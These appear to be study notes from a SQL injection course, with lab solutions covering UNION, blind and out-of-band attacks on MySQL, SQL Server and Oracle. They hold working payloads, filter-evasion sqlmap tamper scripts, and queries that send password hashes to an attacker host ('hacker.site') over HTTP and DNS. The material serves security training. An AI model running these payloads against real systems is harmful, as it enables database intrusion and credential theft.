SQL Injection
Basic understanding of SQL Injection Vulnerabilities
Advanced concept of exploiting SQLi’s
Introduction
We are going to lay the foundation For an advanced comprehension of what the SQL Injection world offers. We will analyze the most common DBMS and learn how to perform advanced attacks against them.
Recap and More
SQL Injection is an attack against the original purpose a developer has chosen For a specific piece of SQL code. The idea is to alter the original SQL query structure by leveraging the syntax, DBMS and/or OS functionalities in order to perform malicious operations.
We’ll analyze 3 most used Relational Database Management Systems RDBMS:
- MySQL
- SQL Server
- Oracle
Exploiting SQLI
Techniques Classification
Classes of attack:
- INBAND
- OUT-OF-BAND
- INFERENCE
Inbound Attacks
It leverages the same channel used to inject the SQL code
The result of this attack is included directly in the response from the vuln web application.
The most common techniques are:
- UNION-based
- Error-based
Out-of-Band Attacks (OOB)
It uses alternative channels to extract data from the server.
Some of these include the following:
- HTTP(s) requests
- DNS resolution
- Email
- File System
- Exploiting a SQLi using OOB methods is useful when all Inband techniques have failed because attempted vectors have been disabled, limited, or filtered. When the only option is to use Blind techniques (Inference), reducing the number of queries is a must!
HTTP Based OOB Exploitation:
- it sends the result of the SQL query by HTTP request, usually via GET, toward a hacker-controlled HTTP server
Inference Attacks
- Most common known as Blind.
- All methods that allow information extraction are based on a set of focused deductions. There are several possible techniques to use, but the most common are:
- Boolean-based
- Time-based
Boolean-based
The focus in on visible changes inside web server responses. For example:
If the result of a query is not NULL, the server returns Great while Nooo otherwise.
Example:
- Is the first character of the username a 'G'?
- If yes = 'great' / if no = 'nooo'
Time-based
The focus is on the delays of response
Example:
- Is the first character of the username a 'G'?
- if yes = 'waits 15 seconds' / if not = 'answer imediately any message'
Gathering Information from the Environment
Before exploiting we need to understand some basic fundamentals about our backend DBMS
Fingerprint techniques may vary under:
- Non-Blind
- Blind
Our Goals:
- DMBS version
- Databases structure and Data
- Database Users and their privileges
Identifying the DBMS
Error Code Analysis
The most straightforward method consists of forcing the vuln app to return an error message. The more verbose the server errors are the better.
Banner Grabbing
Sometimes, the error code analysis does not return any details, like the exact version and patch level; however, it does return the database name.
The best way to identify the DBMS is by leveraging the NON-Blind scenario. Every DB implements specific functions that return the current version, so retrieving that value is straightforward.
*example in images
Educated Guessing
- If we are facing a BLIND scenario, we can execute Educated Guessing of whats behind the injection point.
String Concatenation
- Each DBMS handles strings differently, making the way which String Concatenation is handled even more interesting.
- example in images
Numeric Functions
If the injection point is evaluated as a number, we can perform the same approach, but with numeric functions *example in images
SQL Dialect
We can use Date and Time Functions (see NOW()+0 in MySQL) or specific Miscellaneous DBMS Functions (see UID in Oracle). And many more…
Another options, is how comments are handled.
- MySQL: https://dev.mysql.com/doc/refman/8.0/en/comments.html
MySQL provides a variant to C-Style comments:
/*! MySQL-specific code */
This is helpful to do a good obfuscator technique.
Example:
SELECT 1 /*!50530 + 1 */ # executed only by server MySQL 5.5.30 or higher
Enumerating the DBMS Content
The smartest way to begin is by enumerating in this order:
- Databases schemas
- Tables
- Columns
- Users
This info is also known as metadata, system catalog or data dictionary
In MySQL
→ https://dev.mysql.com/doc/refman/8.0/en/information-schema.html
Information_schema is the magic place where we can retrieve all the metadata required.
All the info about the other databases are stored within the table SCHEMATA.
SELECT schema_name FROM information_schema.schemata;
If the user running MySQL has SHOW privileges, then the previous command can be condensed into this:
SHOW databases;
SHOW schemas;
MySQL provides a list of useful functions and operators
→ https://dev.mysql.com/doc/refman/8.0/en/information-functions.html
We can use:
SELECT DATABASE();
SELECT SCHEMA();
In MSSQL
All the system-level information is stored within the System Tables:
http://msdn.microsoft.com/en-us/library/ms179932.aspx
Depending on the version, these tables exists either only in the MASTER database or in every database
https://docs.microsoft.com/en-us/sql/relational-databases/databases/master-database?redirectedfrom=MSDN&view=sql-server-ver15
Info about the databases is stored in the system table: sysdatabases
query:
SELECT name FROM master..sysdatabases;
SELECT name FROM sysdatabases;
The alternative is SYSTEM VIEWS → http://msdn.microsoft.com/en-us/library/ms177862.aspx
The most interesting views:
- Compability: http://msdn.microsoft.com/en-us/library/ms187376.aspx
- Information: http://msdn.microsoft.com/en-us/library/ms186778.aspx
- Schema : http://msdn.microsoft.com/en-us/library/ms186778.aspx
For a mapping between System Tables and System Views:
http://msdn.microsoft.com/en-us/library/ms187997.aspx
We can also use Catalog view:
SELECT name FROM SYS.databases;
We can leverage a utility function:
SELECT DB_NAME();
Providing a smallint ID, so we can retrieve info about a specific database:
SELECT DB_NAME(1);
A list of names and IDs:
SELECT dbid, DB_NAME(dbid) from master..sysdatabases;
In Oracle
It does not have a simple model system like the previous two.
Concepts to understand:
Database: Where are stored the physical files
Instance: The pool of processes, memory areas, etc. Useful to access data.
Each DATABASE must point to an INSTANCE that has its custon logical and physical structures in order to store information like tables, indexes, etc.
The most important structure: TABLESPACE
List the TABLESPACE the current user can use:
SELECT TABLESPACE_NAME FROM USER_TABLESPACES
SYSTEM and SYSAUX are the system TABLESPACE created automatically at the beginning when the database is made.
If we want to retrieve the default TABLESPACE:
SELECT DEFAULT_TABLESPACE FROM USER_USERS
SELECT DEFAULT_TABLESPACE FROM SYS.USER_USERS
# The USER_USERS is the table in SYS that describes the current user
Tables & Columns
MySQL
→ http://dev.mysql.com/doc/refman/5.0/en/tables-table.html
INFORMATION_SCHEMA.TABLES is the table that provides information about tables in the databases managed.
We can run the following query:
SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES;
The alias:
SHOW TABLES; //current schema
SHOW TABLES in EMPLOYEES; // other database
The columns are within the INFORMATION_SCHEMA.COLUMNS:
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS;
with alias:
SHOW COLUMNS FROM DEPARTMENTS IN EMPLOYEES; # cols in a table, database
MSSQL
Information about tables are stored within sysobjects
→ http://technet.microsoft.com/en-us/library/aa260447(v=sql.80).aspx
This table contains info about all the objects defined For that specific schema:
SELECT name FROM sysobjects WHERE xtype='U'
To retrieve the list of tables: // add the name of the database before sysobjects
SELECT name FROM employees..sysobjects WHERE xtype='U'
# the xtype defines objects types:
- S = System Table
- U = User Table
- TT = Table Type
- X = Extended Stored Procedure
- V = Views
Alternative, INFORMATION_SCHEMA views we can retrieve info about tables and views of the current database
SELECT table_name FROM INFORMATION_SCHEMA.TABLES
SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_type = 'BASE TABLE'
For a specific database just add the name of the db before:
SELECT table_name FROM employees.INFORMATION_SCHEMA.TABLES
SELECT table_name FROM employees.INFORMATION_SCHEMA.TABLES WHERE table_type = 'BASE TABLE'
Enumeration of columns is similar:
SELECT name FROM syscolumns
SELECT name FROM employees.syscolumns
Alternative, using INFORMATION_SCHEMA:
SELECT column_name FROM INFORMATION_SCHEMA.columns
SELECT column_name FROM employees.INFORMATION_SCHEMA.columns
SELECT column_name FROM employees.INFORMATION_SCHEMA.columns WHERE table_name='salary'
Oracle
ts a simple query
# https://docs.oracle.com/cd/B28359_01/server.111/b28320/statviews_2105.htm#REFRN20286
SELECT table_name, tablespace_name FROM SYS.all_tables
SELECT table_name, tablespace_name FROM all_tables
There is a special table in Oracle name DUAL
https://docs.oracle.com/cd/B19306_01/server.102/b14200/queries009.htm
SELECT "WAPTx" FROM DUAL;
# Is useful For computing a constant expression with the SELECT statement
MSSQL
The system view ALL_TAB_COLUMNS
https://docs.oracle.com/cd/B28359_01/server.111/b28320/statviews_2091.htm
Its useful in enumerating the columns of the tables, views and clusters accessible to the currrent user:
SELECT column_name FROM SYS.ALL_TAB_COLUMNS
SELECT column_name FROM ALL_TAB_COLUMNS
Database Users and Privileges
MySQL
Some useful functions to do the job:
User() # FUNCTIONS
Current_user()
System_user()
Session_user()
Current_user # CONSTANT
If the user is privileged:
SELECT user FROM mysql.user;
The privileges are all stored in INFORMATION_SCHEMA
And organized by the tables:
COLUMN_PRIVILEGES
SCHEMA_PRIVILEGES
TABLE_PRIVILEGES()
USER_PRIVILEGES
It can be retrieve like that:
SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES;
To show privileges on databases:
SELECT grantee, table_schema, privilege_type FROM INFORMATION_SCHEMA.SCHEMA_PRIVILEGES;
To show privileges from respective columns:
SELECT user, select_priv,..., FROM MYSQL.USER;
To gather the DBA accounts:
SELECT grantee, privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE privilege_type='SUPER';
Privileged users need to change the query:
SELECT user FROM MYSQL.USER WHERE Super_priv='Y';
MSSQL
Its similar to mysql
We have some functions:
suser_sname() //FUNCTION
User // CONSTANTS
System_user
We can also use the System Table:
SELECT loginame FROM SYSPROCESSES WHERE spid = @@SPID
# Current User Process ID
# http://msdn.microsoft.com/en-us/library/ms189535.aspx
SELECT name FROM SYSLOGINS;
# all users
We can use System Views:
SELECT original_login_name FROM SYS.DM_EXEC_SESSIONS WHERE status='running'
# current active user
Once we identified the users, we need to understand their privileges:
IS_SRVOLEMEMBER = http://msdn.microsoft.com/en-us/library/ms176015.aspx
IF IS_SRVOLEMEMBER('sysadmin')=1
# print 'Current users login is a member of the sysadmin role'
ELSE IF IS_SRVOLEMEMBER('sysadmin')=0
# print 'Current users login is NOT a member of the sysadmin role'
In addition to sysadmin, there are other possibles roles:
serveradmin
dbcreator
setupadmin
bulkadmin
securityadmin
diskadmin
public
processadmin
We can use this function to ask about other users:
SELECT IS_SRVOLEMEMBER ('processadmin','aw')
# aw is the name of the SQL Server login to check. If the username is supplied as an argument, its the current user.
Whos the owner of what?
# http://msdn.microsoft.com/en-us/library/ms174355.aspx
SELECT loginname FROM SYSLOGINS where sysadmin=1
Or we can use System View server_principals:
SELECT name FROM SYS.SERVER_PRINCIPALS where TYPE='S'
# S = SQL login
Oracle
To retrieve the current user:
SELECT user FROM DUAL
Alternatively:
SELECT username FROM USER_USERS
SELECT username FROM ALL_USERS
User privileges:
SELECT grantee FROM DBA_ROLE_PRIVS
SELECT username FROM USER_ROLE_PRIVS
The current users session privileges:
SELECT role FROM SESSION_ROLES
To retrieve an overview of all the data dictionaries, tables and view:
SELECT * FROM DICTIONARY
SELECT * FROM DICT
SQLI Classifications:
We can infer the DBMS version by observing the replies to different concatenation syntaxes:
Numeric functions:
Out-of-Band Exploitation
Useful when facing Special-Blind SQL Injection scenarios. In these situations, we cannot rely on the inferential techniques to retrieve data.
These will not work cause the results are being limited, filtered, and so forth; therefore, we need to opt For another CHANNEL to carry this information.
Alternative OOB CHannels
The most relevant:
HTTP
DNS
email
Database Connections
OOB via HTTP
We can leverage the HTTP channel For the DBMS systems that provide features For accessing data on the internet over HTTP using SQL
- Using these features, we can create a query to a web resource controlled by the hacker and then control the access log For analyzing all the requests arrived.
- Only Oracle provide this feature natively
Two techniques [ Oracle ]:
UTL_HTTP
# HTTPURIType: https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/t_dburi.htm#BGBGAHAA
Oracle URL_HTTP package → https://docs.oracle.com/cd/B19306_01/appdev.102/b14258/u_http.htm
- It can use both via SQL and PL/SQL
Two useful funcions:
REQUEST
REQUEST_PIECES
Only the REQUEST can be used in a SQL query:
SELECT UTL_HTTP.REQUEST ('hacker.site/'||(SELECT spare4 FROM SYS.USER$ WHERE ROWNUM=1)) FROM DUAL;
The REQUEST_PIECES must be used within a PL/SQL Block *example in images
Oracle HTTPURITYPE Package
- The first one is often disabled
We can also exfiltrate information via HTTP:
SELECT HTTPURITYPE ('hacker.site'/||(SELECT spare4 FROM SYS.USER$ WHERE ROWNUM=1)).getclob() FROM DUAL;
# getclob() method returns the character large object (CLOB), but we can also use other methods such as: GETBLOB(), GETXML() and GETCONTENTTYPE()
OOB via DNS
In this context, instead of controlling the web server we have to control a DNS server.
Even if the administrator sets an aggressive firewall policy filtering out any outgoing connections, the victim site will still both be able to reply to requests and perform DNS queries.
- The server uses a DNS resolver configured by the network administrator, but the resolver needs to contact a DNS server under the attackers control, therefore giving back the results of the injection to the attacker.
- As a requirement the hacker must have access to the DNS Server.
The server must be registered as the authoritative name server For that Zone (e.g. hacker.site)
Provoking DNS Requests
MySQL (win)
Function: LOAD_FILE() reads the file and returns the file contents as a string:
SELECT LOAD_FILE("C:\\Windows\\system.uni");
We can exploit this function and provoke DNS requests by requesting a UNC path like this: \[data].hacker.site
SELECT LOAD_FILE(CONCAT('\\\\', 'SELECT password FROM mysql.user WHERE user=\'root\'','.hacker.site'));
MSSQL
We can provoke DNS requests by using UNC Paths as we did with MySQL
We can use the extended stored procedure MASTER..XP_FILEEXIST to determine whether a particular file exists on the disk or not.
EXEC MASTER..XP_FILEEXIST 'C:\Windows\system.ini'
- 2 alternatives are XP_DIRTREE and XP_SUBDIRS
- moreover in images
Oracle
UTL_INADDR package with the functions GET_HOST_ADDRESS and GET_HOST_NAME
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.hacket.site') FROM DUAL
SELECT UTL_INADDR.GET_HOST_NAME((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.hacket.site') FROM DUAL
Also functions/packages such as:
HTTPURITYPE.GETCLOB
UTL_HTTP.REQUEST
DBMS_LDAP.INIT
Can be used, but depends on the version of Oracle
It can be automated with SQLMAP
→ http://www.slideshare.net/stamparm/dns-exfiltration-using-sqlmap-13163281
Exploiting Second-Order SQL Injection
- Second-order SQL Injections are extremely powerful, much like their equivalent in the first-order space; However, due to their nature, they are more difficult to detect.
-
The exploit is submitted in one request and triggere when the application handles a different request.
- Modern automated scanners are unable to perform the rigorous methodology necessaryFor discovering second-order vulnerabilities
- Because there are several possible scenarios
Lab
- Upload image only
- go to List of file signatures in wikipedia
- See the value of jpg files
Try to increment the value with php code in it
<?php phpinfo();
Try to open the image uploaded, if the page has php handler it will open the phpinfo
# If not, procced to test the file name with BURP > Repeater
filename="example.php' and true -- -"
# If the number of view increase, lets try with UNION this time
filename="example.php' UNION SELECT @@VERSION; -- -"
filename="' UNION SELECT @@VERSION; -- -" //take off the name of the file
filename="' UNION SELECT SCHEMA(); -- -"
filename="' UNION SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema = SCHEMA(); -- -"
Our scenario:
[>] Injection
Name of the file uploaded, e.g. ' union select @version; -- -
** via POST request **
[*] Execution
view.php?file={our_payload}
** via GET request **
Downsides:
sqlmap (2nd order) works only GET to GET i.e. we beed a python plugin
burp needs a java plugin
Upsides:
out php script
1. GETs the payload in input
2. Generates the respective image payload (POST req)
3. Generates the respective GET req, to view page and reflect the result client-side
- So we create a php page, opened with apache2 server to execute payloads
Example:
hacker.site/payload.php?payload='UNION SELECT USER(); -- -
Finish the job with SQLMAP
sqlmap -u 'http://hacker.site/payload.php?payload=x' --technique=U --banner
--flush-session --batch --banner
# test the time difference between Time-based and Union-based
# Time 0 is 3min long, Union is 2sec
We need to pre-elaborate the form before submitting the request.
Lab Solutions
SQLi 1
PoC:
GET / HTTP/1.1
Host: 1.sqli.labs
User-Agent: ' UNION SELECT user(); -- -
SQLMap Automation:
sqlmap -u 'http://1.sqli.labs/' -p user-agent --random-agent --banner
SQLi 2
UNION and standard payloads like 1='1 are filterer.
PoC, False Blind:
GET / HTTP/1.1
Host: 2.sqli.labs
User-Agent: ' or 'elscustom'='elsFALSE
PoC, True Blind:
GET / HTTP/1.1
Host: 2.sqli.labs
User-Agent: ' or 'elscustom'='elscustom
# SQLMap Automation:
sqlmap -u 'http://2.sqli.labs/' -p user-agent --user-agent=elsagent --technique=B --banner
SQLi 3
Spaces are filtered.
PoC:
GET / HTTP/1.1
Host: 3.sqli.labs
User-Agent: '/**/UNION/**/SELECT/**/@@version;#
# SQLMap Automation:
sqlmap -u 'http://3.sqli.labs/' -p user-agent --random-agent --technique=U --tamper=space2comment --suffix=';#' --union-char=els --banner
SQLi 4
Comments non longer work.
PoC:
GET / HTTP/1.1
Host: 4.sqli.labs
User-Agent: 'UNION(select('PoC String'));#
# We cannot easily automate this task, as sqlmap should balance the parentesis.
# To exploit by hand you have to first find the tables in the current database:
GET / HTTP/1.1
Host: 4.sqli.labs
User-Agent: 'union(SELECT(group_concat(table_name))FROM(information_schema.columns)where(table_schema=database()));#
Then you can enumarate the columns:
GET / HTTP/1.1
Host: 4.sqli.labs
User-Agent: 'union(SELECT(group_concat(column_name))FROM(information_schema.columns)where(table_name='secretcustomers'));#
SQLi 5
This is similar to SQLi 4, but the developer used doublequotes around strings.
PoC:
GET / HTTP/1.1
Host: 5.sqli.labs
User-Agent: "UNION(select('PoC String'));#
# To exploit by hand you have again to find the tables in the current database:
GET / HTTP/1.1
Host: 5.sqli.labs
User-Agent: "union(SELECT(group_concat(table_name))FROM(information_schema.columns)where(table_schema=database()));#
SQLi 6
MySQL’s reserved words have been filtered. Using RaNDom case does not help, as you can have, for example, somethin like InfoRMaTIon_ScheMa who will become InfoRMaTI_ScheMa, as on or ON is a valid reserved word.
PoC:
GET / HTTP/1.1
Host: 6.sqli.labs
User-Agent: ' UNiOn seLect @@versiOn;#
The only way to get around this kind of filtering during the exploitation automation phase is to use DifFeReNt CaSe for every letter
You have to write a simple tampering script:
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces each keyword with a CaMeLcAsE VeRsIoN of it.
>>> tamper('INSERT')
'InSeRt'
"""
ret_val = ""
if payload:
for i in range(len(payload)):
if i % 2 == 0:
# We cannot break 0x12345
if not ((payload[i] == 'x') and (payload[i-1] == '0')):
ret_val += payload[i].upper()
else:
ret_val += payload[i]
else:
ret_val += payload[i].lower()
return ret_val
SQLMap command line:
sqlmap -u 'http://6.sqli.labs/' -p user-agent --technique=U --tamper=/path/to/your/tampering/scripts/camelcase.py --prefix="nonexistent'" --suffix=';#' --union-char=els --banner
SQLi 7
In this scenario, the case-insensitive filter cuts out all the reserved words, but the filter is not recursive.
PoC:
GET / HTTP/1.1
Host: 7.sqli.labs
User-Agent: ' uZEROFILLnZEROFILLiZEROFILLoZEROFILLnZEROFILL ZEROFILLsZEROFILLeZEROFILLlZEROFILLeZEROFILLcZEROFILLt ZEROFILL@@ZEROFILLvZEROFILLeZEROFILLrZEROFILLsZEROFILLiZEROFILLoZEROFILLnZEROFILL; ZEROFILL-- ZEROFILL-ZEROFILL
Tampering script:
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Insert FILL after every character
>>> tamper('INSERT')
'IfillNfillSfillEfillRfillTfill
"""
retVal = str()
FILL = 'ZEROFILL'
if payload:
for i in range(len(payload)):
retVal += payload[i] + FILL
# Uncomment to debug
# print "pretamper:", payload
return retVal
SQLMap automation:
sqlmap -u 'http://7.sqli.labs/' -p user-agent --technique=U --tamper=/path/to/your/tampering/scripts/fill.py --banner
SQLi 8
Simple URL encoding.
PoC:
GET / HTTP/1.1
Host: 8.sqli.labs
User-Agent: %61%61%61%61%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%3b%20%2d%2d%20%2d
SQLMap Automation:
sqlmap -u 'http://8.sqli.labs/' -p user-agent --tamper=charencode --technique=U --banner
SQLi 9
Double encoding.
PoC:
GET / HTTP/1.1
Host: 9.sqli.labs
User-Agent: %25%36%31%25%36%31%25%36%31%25%36%31%25%32%37%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%34%30%25%34%30%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%33%62%25%32%30%25%32%64%25%32%64%25%32%30%25%32%64
SQLMap Automation:
sqlmap -u 'http://9.sqli.labs/' -p user-agent --tamper=chardoubleencode --technique=U --banner
SQLi 10
This labs combines reserver keyword filtering with an injection in a function.
PoC:
GET / HTTP/1.1
Host: 10.sqli.labs
User-Agent: ') uZEROFILLnZEROFILLiZEROFILLoZEROFILLn sZEROFILLeZEROFILLlZEROFILLeZEROFILLcZEROFILLt 'PoC'; -- -
SQLMap Automation:
sqlmap -u 'http://10.sqli.labs/' -p user-agent --technique=U --tamper=/path/to/your/tampering/scripts/fill.py --prefix="notexistant')" --suffix="; -- " --union-char=els --banner
[Note] Different sqlmap versions may require different options/flags. For example, regarding level 9:
sqlmap -u 'http://9.sqli.labs/' -p user-agent --tamper=chardoubleencode --technique=U --banner --level=3 --risk=3
or
sqlmap -r 9.sqli.labs.For.sqlmap --banner --tamper=chardoubleencode --dbms mysql --batch --union-char=els --technique=E
# The only one that worked
# lvl 10 didnt work either